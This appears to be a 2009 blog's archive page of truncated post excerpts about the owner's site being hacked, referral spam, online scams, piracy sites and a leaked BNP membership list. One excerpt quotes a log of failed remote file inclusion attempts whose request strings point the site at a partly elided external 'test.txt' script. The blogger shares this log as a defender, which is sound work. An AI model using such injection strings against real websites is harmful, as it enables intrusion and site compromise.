Strangely Perfect

Introduction A few days ago I got hacked.  I quickly ripped out a heap of dodgy files left by the hackers but for some days now, Firefox, my browser, while viewing pages on this website, has been saying that it’s “downloading data from tructuyenso.vn… “. .htaccess This, of course, was not actually happening, as I’ve put [...]

Remove Referrals Information from This Website because of Malware Like many blogs, this website has displayed the last few hits (referrals) that it’s received as a kind of ‘live’ activity recorder and a small service back to the referring website.  However, I’ve had to pull this from my front page because over the last few [...]

There’s something weird about the recent ‘leak’ of BNP members’ names.  The list is available on the Wikileaks website here: http://wikileaks.org/wiki /British_National_Party_ membership_list_and_ other_information,_15_Apr_2009 There’s currently some trouble with downloading due to server overload.  Also, people are complaining that the file is a binary Excel workbook containing several worksheets.  It’s about 1.5Mb in size.  I’ve [...]

Copyright Theft Introduction There are a heap of websites which try and get round international copyright legislation by acting as “pointers” to copyright material, while not actually holding any on their servers.  Pirate  Bay, …and the rest.  Over the last year or two, a heap of copycat sites have sprung up that act as pointers [...]

Introduction I got a ping this morning from a website called cleanup-registry.net   It arrived because I’d been referenced as a website in the network setup using the plugin, “Related Websites” by the Blog Traffic Exchange (actually, it may be time to knock this experiment on the head as generally, the sites are only loosely related [...]

There’s now an official UK Pirate Party. It’s founded on the guiding principles that all art & creativity should be free for people sat in their bedrooms and that those people in the bedrooms should have absolute privacy! True. They want the Swedish model of the convicted file-sharers in the UK.  Also, they want Google [...]

Introduction I knew there was something really, really dodgy about that MyBookFace.net crap highlighted in this post the other day. Not only are they connected to some serious malware (as detailed in the posting), but they’ve an interesting line in popups!!! Google Treasure Chest Rises Yet Again! Here’s what to do… Go to http://mybookface.net making [...]

Introduction I had an interesting referral from an external website early today.  It was, http://kexhoxonxk.iblogger.org/ iblogger.com has a decent WHOIS entry and is USA based.  However, the sub-domain bit is a bit iffy. MyBookFace.net If you follow the link, it’s immediately redirected to http://mybookface.net/ The tagline for this website is: MyBookFace is a friendly social [...]

Introduction My email spambuster Mailwasher Pro is doing overtime since I posted my investigation into Google Treasure Chest and the Robert G Allen Grants swindle. In this second investigation, I showed how the email spam system links the various scam systems together. That is: By signing up for one sytem, I started receiving email spam [...]

Multiple Attempts to Drop Trojan on This Website Failed These are the Wassup details of the attack 69.65.41.165 2009-06-13 10:48:00 //?_SERVER[DOCUMENT_ROOT]=http://ww(…)omponents/com_frontpage/test.txt?? Referrer: Direct hit Hostname: 69.65.41.165 User Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) OS: WinVista BROWSER: IE 7 10:33:14 ->//?_SERVER[DOCUMENT_ROOT]=http://www.fox(…)com/components/com_frontpage/test.txt?? 10:34:03 ->////?_SERVER[DOCUMENT_ROOT]=http://www.f(…)com/components/com_frontpage/test.txt?? 10:34:30 ->/3099/google-treasure-chest-its-a-scam-a(…)com/components/com_frontpage/test.txt?? 10:37:43 ->/3099////?_SERVER[DOCUMENT_ROOT]=http://(…)com/components/com_frontpage/test.txt?? 10:37:46 ->////?_SERVER[DOCUMENT_ROOT]=http://www.f(…)com/components/com_frontpage/test.txt?? 10:47:59 ->/3099////?_SERVER[DOCUMENT_ROOT]=http://(…)com/components/com_frontpage/test.txt?? 10:48:00 ->////?_SERVER[DOCUMENT_ROOT]=http://www.f(…)com/components/com_frontpage/test.txt?? As [...]

WordPress User Registration Spam Last year I told how I tackled various sorts of spam hitting the website, in particular, in this post, User Registration Spam.  Even now, my main defence is SABRE, although I don’t use all the options.  This gives me the combination of flexibility, security and openness I require on this website.  [...]

Wassup I use a myriad of plugins on my website (and have tested zillions more). A plugin, for those that don’t know, is an add-on to the basic WordPress install that I use to run this blog.  You can get plugins for all sorts of blogging, forum and CMS systems… Anyway, for a week, I’m [...]

Google Adsense Calling Mork!   Google Adsense Calling Mork! Amazingly, following my comment about Google Adsense on my website in yesterday’s rant about Phorm, I got a message this early morning from the mother ship (Dalek voice – “Monetize! Monetize!”).  This is the text which millions of Morks across the globe will have got… Hello, We’re [...]

The news that not only have Facebook users suffered another viral surge (previous virus report on koobface here) but also, that their data might be used forever in howsoever the sweet faced bloke in the photie wants should scare them all a bit, I’d have thought. The fact that he’s said that the data is [...]